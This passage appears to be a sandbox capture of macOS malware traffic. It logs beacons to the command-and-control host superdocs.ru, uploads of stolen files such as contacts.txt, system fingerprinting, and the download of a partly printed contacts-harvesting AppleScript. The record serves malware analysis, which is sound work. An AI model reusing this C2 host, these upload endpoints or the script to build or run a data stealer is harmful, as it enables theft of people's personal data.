                                      Data Ascii: starting server upload for osmrt.txt. Expected file size: 1 MB
                                      2022-08-24 09:19:16 UTC144INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:19:16 GMT
                                      Content-Type: text/html; charset=UTF-8
                                      Transfer-Encoding: chunked
                                      Connection: close
                                      2022-08-24 09:19:16 UTC144INData Raw: 30 0d 0a 0d 0a
                                      Data Ascii: 0


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      28192.168.0.534932945.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:19:16 UTC144OUTPOST /agent/upload.php?serial=C07GV0KZPJH8 HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      X-Users: pedro
                                      X-Mod: listing
                                      Content-Length: 310
                                      Content-Type: multipart/form-data; boundary=------------------------ec548427d7e6bb91
                                      2022-08-24 09:19:16 UTC145OUTData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 65 63 35 34 38 34 32 37 64 37 65 36 62 62 39 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 6d 72 74 2e 6c 6f 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 31 2e 39 33 0a 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 65 63 35 34 38 34 32 37 64 37 65 36 62 62 39 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 6e 61 6d 65 22 0d 0a 0d 0a 6f 73
                                      Data Ascii: --------------------------ec548427d7e6bb91Content-Disposition: form-data; name="file"; filename="mrt.log"Content-Type: application/octet-stream1.93--------------------------ec548427d7e6bb91Content-Disposition: form-data; name="filename"os
                                      2022-08-24 09:19:16 UTC145INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:19:16 GMT
                                      Content-Type: text/html; charset=UTF-8
                                      Transfer-Encoding: chunked
                                      Connection: close
                                      2022-08-24 09:19:16 UTC145INData Raw: 30 0d 0a 0d 0a
                                      Data Ascii: 0


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      29192.168.0.534933045.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:19:17 UTC145OUTPOST /l HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      X-Id: C07GV0KZPJH8
                                      X-Users: pedro
                                      X-Mod: listing
                                      Content-Length: 15
                                      Content-Type: application/x-www-form-urlencoded
                                      2022-08-24 09:19:17 UTC145OUTData Raw: 6d 6f 64 75 6c 65 20 66 69 6e 69 73 68 65 64
                                      Data Ascii: module finished
                                      2022-08-24 09:19:17 UTC145INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:19:17 GMT
                                      Content-Type: text/html; charset=UTF-8
                                      Transfer-Encoding: chunked
                                      Connection: close
                                      2022-08-24 09:19:17 UTC145INData Raw: 30 0d 0a 0d 0a
                                      Data Ascii: 0


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      3192.168.0.534930445.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:18:44 UTC15OUTPOST /l HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      X-Id: C07GV0KZPJH8
                                      X-Users: pedro
                                      X-Mod: bootstrap
                                      Content-Length: 58
                                      Content-Type: application/x-www-form-urlencoded
                                      2022-08-24 09:18:44 UTC15OUTData Raw: 6d 6f 64 75 6c 65 20 6c 61 75 6e 63 68 65 64 2e 20 63 6f 6e 6e 52 65 74 72 69 65 73 3a 20 30 2e 20 55 73 65 64 20 64 6f 6d 61 69 6e 3a 20 73 75 70 65 72 64 6f 63 73 2e 72 75
                                      Data Ascii: module launched. connRetries: 0. Used domain: superdocs.ru
                                      2022-08-24 09:18:44 UTC15INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:18:44 GMT
                                      Content-Type: text/html; charset=UTF-8
                                      Transfer-Encoding: chunked
                                      Connection: close
                                      2022-08-24 09:18:44 UTC15INData Raw: 30 0d 0a 0d 0a
                                      Data Ascii: 0


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      30192.168.0.534933145.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:19:18 UTC145OUTGET /agent/bin/icons/Empty.icns HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      2022-08-24 09:19:18 UTC146INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:19:18 GMT
                                      Content-Type: application/octet-stream
                                      Content-Length: 31308
                                      Last-Modified: Thu, 18 Aug 2022 07:36:55 GMT
                                      Connection: close
                                      ETag: "62fdec17-7a4c"
                                      Accept-Ranges: bytes
                                      2022-08-24 09:19:18 UTC146INData Raw: 69 63 6e 73 00 00 7a 4c 69 63 31 32 00 00 00 ad 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 40 00 00 00 40 08 06 00 00 00 aa 69 71 de 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 5f 49 44 41 54 78 01 ed d0 01 0d 00 00 00 c2 a0 f7 4f 6d 0e 37 88 40 61 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c bc 0f 0c 40 40 00 01 16 41 98 eb 00 00 00 00 49 45 4e 44 ae 42 60 82 69 63 30 37 00 00 01 84 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 80 00 00 00 80 08 06 00 00 00 c3 3e 61 cb 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 01 36 49 44 41 54 78 01 ed d0 31 01 00 00 00 c2 a0 f5
                                      Data Ascii: icnszLic12PNGIHDR@@iqsRGB_IDATxOm7@a0`0`0`0`0`0`0`@@AIENDB`ic07PNGIHDR>asRGB6IDATx1
                                      2022-08-24 09:19:18 UTC162INData Raw: 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60
                                      Data Ascii: 0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      31192.168.0.534933345.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:19:21 UTC176OUTPOST /l HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      X-Id: C07GV0KZPJH8
                                      X-Users: pedro
                                      X-Mod: notes_app
                                      Content-Length: 30
                                      Content-Type: application/x-www-form-urlencoded
                                      2022-08-24 09:19:21 UTC177OUTData Raw: 6d 6f 64 75 6c 65 20 6c 61 75 6e 63 68 65 64 2e 20 46 4f 52 43 45 44 3a 20 66 61 6c 73 65
                                      Data Ascii: module launched. FORCED: false
                                      2022-08-24 09:19:22 UTC177INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:19:22 GMT
                                      Content-Type: text/html; charset=UTF-8
                                      Transfer-Encoding: chunked
                                      Connection: close
                                      2022-08-24 09:19:22 UTC177INData Raw: 30 0d 0a 0d 0a
                                      Data Ascii: 0


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      32192.168.0.534933245.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:19:23 UTC177OUTPOST /l HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      X-Id: C07GV0KZPJH8
                                      X-Users: pedro
                                      X-Mod: bootstrap
                                      Content-Length: 44
                                      Content-Type: application/x-www-form-urlencoded
                                      2022-08-24 09:19:23 UTC177OUTData Raw: 6d 61 70 70 69 6e 67 3a 20 6e 6f 74 65 73 5f 61 70 70 20 2d 20 63 6f 6d 2e 6d 65 74 61 6c 2e 63 6f 72 65 2e 64 6f 63 6b 2e 61 70 70
                                      Data Ascii: mapping: notes_app - com.metal.core.dock.app
                                      2022-08-24 09:19:23 UTC177INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:19:23 GMT
                                      Content-Type: text/html; charset=UTF-8
                                      Transfer-Encoding: chunked
                                      Connection: close
                                      2022-08-24 09:19:23 UTC177INData Raw: 30 0d 0a 0d 0a
                                      Data Ascii: 0


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      33192.168.0.534933445.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:19:23 UTC177OUTGET /agent/bin/icons.php?icon=Reminders HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      2022-08-24 09:19:23 UTC177INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:19:23 GMT
                                      Content-Type: application/octet-stream
                                      Content-Length: 50910
                                      Connection: close
                                      Content-Description: File Transfer
                                      Content-Disposition: attachment; filename="Reminders.icns"
                                      Expires: 0
                                      Cache-Control: must-revalidate
                                      Pragma: public
                                      2022-08-24 09:19:23 UTC178INData Raw: 69 63 6e 73 00 00 c6 de 54 4f 43 20 00 00 00 30 69 73 33 32 00 00 01 be 73 38 6d 6b 00 00 01 08 69 63 31 31 00 00 05 88 69 63 30 37 00 00 32 d1 69 63 31 33 00 00 8b 87 69 73 33 32 00 00 01 be 8e 00 03 09 bc f2 fd 83 ff 06 fe f4 c5 18 00 00 bd 89 ff 06 c8 00 00 f1 84 67 82 86 fe 07 f4 00 00 fc 6a 01 65 fe 81 c6 0a c7 c7 c6 c6 fd 00 00 fd 8c 75 88 87 fd 01 00 00 8b fc 05 00 00 fc f1 ea f0 87 fc 07 00 00 fb f9 fa f9 fb c3 80 c4 09 c5 c4 c4 c3 fb 00 00 fa fa fb 88 fa 01 00 00 8b f9 05 00 00 f7 ed e6 ed 86 f8 07 f7 00 00 eb f4 f5 f4 f6 81 c0 09 c1 c0 c0 bf ed 00 00 ba f5 f6 87 f5 06 c3 00 00 11 b9 e9 f2 84 f4 02 ea c0 24 8e 00 8e 00 03 09 bc f2 fd 83 ff 06 fe f4 c5 18 00 00 bd 89 ff 06 c8 00 00 f1 ba a6 b8 86 fe 07 f4 00 00 fb af 7b ac fd 81 c5 0a c6 c6 c5 c5
                                      Data Ascii: icnsTOC 0is32s8mkic11ic072ic13is32gjeu${
                                      2022-08-24 09:19:23 UTC193INData Raw: ef ef bf ff 97 bf fc e5 7d 57 5e 79 e5 01 f0 ae 01 20 7a 56 b1 8c 0b cf 2c 10 38 5e ef 64 15 61 f4 9c 04 80 a8 46 9c 6b c7 f1 8b 39 7d 7a e1 c2 85 e9 5b 6e b9 e5 b4 c5 8b 17 5f 82 91 fd a5 70 f8 33 81 82 23 77 92 12 0d 14 d3 00 c6 ab dc e3 23 23 23 37 ef df bf ff 97 1f fe f0 87 ef ba ee ba eb 38 ab e1 4c 21 2e 18 cc 20 10 38 5e ef 64 8b 31 92 04 80 18 cd 94 70 7c ce 97 18 0c d2 0f 3d f4 d0 09 ab 56 ad 7a 4b 63 63 e3 5b 30 55 5f 1c 83 26 29 4a 34 30 2d 0d 60 84 df 3f 36 36 f6 a3 6d db b6 5d 07 9b fa 0d 1a d1 75 35 18 e8 99 b8 a6 11 08 1c af 77 b2 6c 1c 97 aa 11 00 2a bf c8 88 93 6c 16 65 74 7c 26 af a9 4e ef b9 1e e7 51 73 f2 c9 27 d7 ed dc b9 f3 f5 13 13 13 b7 3c ef 79 cf 7b a0 b9 b9 f9 43 89 f3 cf 42 d1 49 93 90 06 60 72 9d 98 3d be 6b e5 ca 95 b7 60 b9
                                      Data Ascii: }W^y zV,8^daFk9}z[n_p3#w###78L!. 8^d1p|=VzKcc[0U_&)J40-`?66m]u5wl*let|&NQs'<y{CBI`r=k`
                                      2022-08-24 09:19:23 UTC209INData Raw: f7 4c c8 33 fb f0 e5 f0 d7 fc b3 ac ba e8 bd 21 50 f7 42 0d 8a c6 6b 3b 97 b5 4a 27 3c 03 72 db d9 7c 29 dd 14 42 87 4b 94 46 b8 b4 94 ce 22 90 11 47 e6 5d 98 6c 64 04 8e b6 e0 b5 eb 20 45 78 70 9a a9 7e 4c cb 68 ff 46 6d 23 d2 df 6e db 00 a5 a5 19 5f 47 a8 a9 79 0a 70 05 b9 a9 97 20 01 ac 9f 0b f1 3b 45 5f 1a 58 13 35 fc e6 9a 69 68 ac fc 1e 40 4c 28 53 f2 e5 3c ab 80 ee 59 3b c4 2d d3 3c 95 a6 f9 3c 8c cf 85 65 15 a7 fe 41 3d 3b 97 30 9b ef f9 96 ec b8 03 ce 8f e5 bd ef fc 27 bd 53 f2 17 7d 15 ce bf d4 b6 31 b7 6d 82 b6 a3 fd bb 65 60 d7 06 19 da bf 0d 28 49 97 b8 ed ed 46 43 a3 eb 64 fc 38 c8 7f 00 e1 cb 24 35 67 81 9c b0 bc 56 d6 00 d5 73 ff f3 bf a4 77 c3 9d 0e 1f c8 3a 3c 91 9f 30 df 4a 13 d8 a1 75 3a 95 bd dd c4 72 37 cf 6b 57 5e 6d 17 39 3b b7 49
                                      Data Ascii: L3!PBk;J'<r|)BKF"G]ld Exp~LhFm#n_Gyp ;E_X5ih@L(S<Y;-<<eA=;0'S}1me`(IFCd8$5gVsw:<0Ju:r7kW^m9;I
                                      2022-08-24 09:19:23 UTC225INData Raw: b4 d0 64 c2 a9 c3 67 83 91 13 7a a3 e2 84 a4 af 42 9e 50 e8 b7 79 8b 87 7e 9c f4 7c 12 60 01 64 39 95 bd e2 e9 36 94 d3 22 9b e4 27 c7 86 e3 a4 fa ae b6 e1 a1 13 d1 c2 05 65 c7 8e bb b6 5d 75 d5 95 e7 bc f9 cd 6f f9 48 bc a5 e2 a7 bc d8 79 bc f3 d7 c4 f7 ae 5f 93 3f 97 5c f8 2f 76 df 0f dc 65 af 5a 00 98 e0 83 1f fa 30 e6 d5 17 11 c0 55 17 81 4c fa 80 79 21 70 7f cd e1 87 1f be fe fd 27 bf ef 37 9f fe cb 4f ff dd b5 fb ef ff d3 81 93 c1 d6 6b d8 8e 8f a7 11 41 20 b5 a0 ec 09 a9 e4 1c 3f 2b 80 8f 02 89 5b 7a fd 2d 3e 07 56 06 2a 6f 1a 42 44 87 a9 ed 7e 0d 2e 60 14 c1 08 b0 d6 26 21 07 78 a2 e4 f3 03 7c 03 2e 17 b4 e6 d9 30 02 3e 7e 10 65 be c1 35 71 49 74 7f d9 26 5f 8b 16 9b e1 21 7c 73 4b 0d a2 e3 9a 29 d0 02 08 86 12 16 1a f9 a7 ea 22 fd c0 d2 c2 24 3b
                                      Data Ascii: dgzBPy~|`d96"'e]uoHy_?\/veZ0ULy!p'7OkA ?+[z->V*oBD~.`&!x|.0>~e5qIt&_!|sK)"$;


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      34192.168.0.534933545.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:19:24 UTC227OUTPOST /l HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      X-Id: C07GV0KZPJH8
                                      X-Users: pedro
                                      X-Mod: notes_app
                                      Content-Length: 40
                                      Content-Type: application/x-www-form-urlencoded
                                      2022-08-24 09:19:24 UTC228OUTData Raw: 77 61 69 74 69 6e 67 20 66 6f 72 20 20 4e 6f 74 65 73 2e 61 70 70 20 74 6f 20 62 65 20 6c 61 75 6e 63 68 65 64 2e 2e 2e
                                      Data Ascii: waiting for Notes.app to be launched...
                                      2022-08-24 09:19:24 UTC228INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:19:24 GMT
                                      Content-Type: text/html; charset=UTF-8
                                      Transfer-Encoding: chunked
                                      Connection: close
                                      2022-08-24 09:19:24 UTC228INData Raw: 30 0d 0a 0d 0a
                                      Data Ascii: 0


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      35192.168.0.534933645.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:19:27 UTC228OUTPOST /agent/scripts/contacts.applescript HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      Content-Length: 10
                                      Content-Type: application/x-www-form-urlencoded
                                      2022-08-24 09:19:27 UTC228OUTData Raw: 75 73 65 72 3d 70 65 64 72 6f
                                      Data Ascii: user=pedro
                                      2022-08-24 09:19:27 UTC228INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:19:27 GMT
                                      Content-Type: text/html; charset=UTF-8
                                      Transfer-Encoding: chunked
                                      Connection: close
                                      2022-08-24 09:19:27 UTC228INData Raw: 31 66 63 31 0d 0a 0a 67 6c 6f 62 61 6c 20 6d 6f 64 75 6c 65 4e 61 6d 65 0a 67 6c 6f 62 61 6c 20 75 73 65 72 4e 61 6d 65 0a 67 6c 6f 62 61 6c 20 64 46 6f 6c 64 65 72 0a 67 6c 6f 62 61 6c 20 6c 6f 67 46 69 6c 65 0a 0a 0a 73 65 74 20 6d 6f 64 75 6c 65 4e 61 6d 65 20 74 6f 20 22 63 6f 6e 74 61 63 74 73 22 0a 73 65 74 20 75 73 65 72 4e 61 6d 65 20 74 6f 20 64 6f 20 73 68 65 6c 6c 20 73 63 72 69 70 74 20 22 77 68 6f 61 6d 69 22 0a 73 65 74 20 64 46 6f 6c 64 65 72 20 74 6f 20 50 4f 53 49 58 20 70 61 74 68 20 6f 66 20 28 28 70 61 74 68 20 74 6f 20 6d 65 20 61 73 20 74 65 78 74 29 20 26 20 22 3a 3a 22 29 0a 0a 0a 0a 0a 6f 6e 20 6c 6f 67 20 28 6d 65 73 73 61 67 65 29 0a 09 73 65 74 20 6d 65 73 73 61 67 65 20 74 6f 20 71 75 6f 74 65 64 20 66 6f 72 6d 20 6f 66 20 6d
                                      Data Ascii: 1fc1global moduleNameglobal userNameglobal dFolderglobal logFileset moduleName to "contacts"set userName to do shell script "whoami"set dFolder to POSIX path of ((path to me as text) & "::")on log (message)set message to quoted form of m


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      36192.168.0.534933745.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:19:30 UTC236OUTGET /agent/bin/icons/Empty.icns HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      2022-08-24 09:19:30 UTC236INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:19:30 GMT
                                      Content-Type: application/octet-stream
                                      Content-Length: 31308
                                      Last-Modified: Thu, 18 Aug 2022 07:36:55 GMT
                                      Connection: close
                                      ETag: "62fdec17-7a4c"
                                      Accept-Ranges: bytes
                                      2022-08-24 09:19:30 UTC236INData Raw: 69 63 6e 73 00 00 7a 4c 69 63 31 32 00 00 00 ad 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 40 00 00 00 40 08 06 00 00 00 aa 69 71 de 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 5f 49 44 41 54 78 01 ed d0 01 0d 00 00 00 c2 a0 f7 4f 6d 0e 37 88 40 61 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c bc 0f 0c 40 40 00 01 16 41 98 eb 00 00 00 00 49 45 4e 44 ae 42 60 82 69 63 30 37 00 00 01 84 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 80 00 00 00 80 08 06 00 00 00 c3 3e 61 cb 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 01 36 49 44 41 54 78 01 ed d0 31 01 00 00 00 c2 a0 f5
                                      Data Ascii: icnszLic12PNGIHDR@@iqsRGB_IDATxOm7@a0`0`0`0`0`0`0`@@AIENDB`ic07PNGIHDR>asRGB6IDATx1
                                      2022-08-24 09:19:30 UTC252INData Raw: 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60
                                      Data Ascii: 0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      37192.168.0.534933945.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:19:33 UTC267OUTPOST /l HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      X-Id: C07GV0KZPJH8
                                      X-Users: pedro
                                      X-Mod: contacts
                                      Content-Length: 15
                                      Content-Type: application/x-www-form-urlencoded
                                      2022-08-24 09:19:33 UTC267OUTData Raw: 6d 6f 64 75 6c 65 20 6c 61 75 6e 63 68 65 64
                                      Data Ascii: module launched
                                      2022-08-24 09:19:33 UTC267INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:19:33 GMT
                                      Content-Type: text/html; charset=UTF-8
                                      Transfer-Encoding: chunked
                                      Connection: close
                                      2022-08-24 09:19:33 UTC267INData Raw: 30 0d 0a 0d 0a
                                      Data Ascii: 0


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      38192.168.0.534933845.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:19:35 UTC267OUTPOST /l HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      X-Id: C07GV0KZPJH8
                                      X-Users: pedro
                                      X-Mod: bootstrap
                                      Content-Length: 49
                                      Content-Type: application/x-www-form-urlencoded
                                      2022-08-24 09:19:35 UTC267OUTData Raw: 6d 61 70 70 69 6e 67 3a 20 63 6f 6e 74 61 63 74 73 20 2d 20 63 6f 6d 2e 75 74 69 6c 73 2e 63 6f 72 65 2e 66 69 6c 65 73 79 73 74 65 6d 2e 61 70 70
                                      Data Ascii: mapping: contacts - com.utils.core.filesystem.app
                                      2022-08-24 09:19:35 UTC268INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:19:35 GMT
                                      Content-Type: text/html; charset=UTF-8
                                      Transfer-Encoding: chunked
                                      Connection: close
                                      2022-08-24 09:19:35 UTC268INData Raw: 30 0d 0a 0d 0a
                                      Data Ascii: 0


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      39192.168.0.534934045.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:19:36 UTC268OUTPOST /l HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      X-Id: C07GV0KZPJH8
                                      X-Users: pedro
                                      X-Mod: contacts
                                      Content-Length: 65
                                      Content-Type: application/x-www-form-urlencoded
                                      2022-08-24 09:19:36 UTC268OUTData Raw: 73 74 61 72 74 69 6e 67 20 73 65 72 76 65 72 20 75 70 6c 6f 61 64 20 66 6f 72 20 63 6f 6e 74 61 63 74 73 2e 74 78 74 2e 20 45 78 70 65 63 74 65 64 20 66 69 6c 65 20 73 69 7a 65 3a 20 31 20 4d 42
                                      Data Ascii: starting server upload for contacts.txt. Expected file size: 1 MB
                                      2022-08-24 09:19:36 UTC268INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:19:36 GMT
                                      Content-Type: text/html; charset=UTF-8
                                      Transfer-Encoding: chunked
                                      Connection: close
                                      2022-08-24 09:19:36 UTC268INData Raw: 30 0d 0a 0d 0a
                                      Data Ascii: 0


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      4192.168.0.534930545.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:18:56 UTC15OUTPOST /l HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      X-Id: C07GV0KZPJH8
                                      X-Users: pedro
                                      X-Mod: bootstrap
                                      Content-Length: 164
                                      Content-Type: application/x-www-form-urlencoded
                                      2022-08-24 09:18:56 UTC15OUTData Raw: 4d 61 63 4f 53 20 76 65 72 73 69 6f 6e 3a 20 31 32 2e 35 2c 20 65 6e 5f 43 48 2e 20 53 65 72 69 61 6c 3a 20 43 30 37 47 56 30 4b 5a 50 4a 48 38 2e 20 46 69 72 65 77 61 6c 6c 3a 20 30 2e 20 53 49 50 3a 20 30 2c 20 53 61 66 61 72 69 3a 20 31 35 2e 36 2c 20 43 50 55 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 20 69 35 2d 38 35 30 30 42 20 43 50 55 20 40 20 33 2e 30 30 47 48 7a 20 44 65 66 61 75 6c 74 20 62 72 6f 77 73 65 72 3a 20 63 6f 6d 2e 61 70 70 6c 65 2e 73 61 66 61 72 69
                                      Data Ascii: MacOS version: 12.5, en_CH. Serial: C07GV0KZPJH8. Firewall: 0. SIP: 0, Safari: 15.6, CPU: Intel(R) Core(TM) i5-8500B CPU @ 3.00GHz Default browser: com.apple.safari
                                      2022-08-24 09:18:57 UTC15INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:18:57 GMT
                                      Content-Type: text/html; charset=UTF-8
                                      Transfer-Encoding: chunked
                                      Connection: close
                                      2022-08-24 09:18:57 UTC15INData Raw: 30 0d 0a 0d 0a
                                      Data Ascii: 0


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      40192.168.0.534934145.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:19:37 UTC268OUTPOST /agent/upload.php?serial=C07GV0KZPJH8 HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      X-Users: pedro
                                      X-Mod: contacts
                                      Content-Length: 602
                                      Content-Type: multipart/form-data; boundary=------------------------66cd02723440dbce
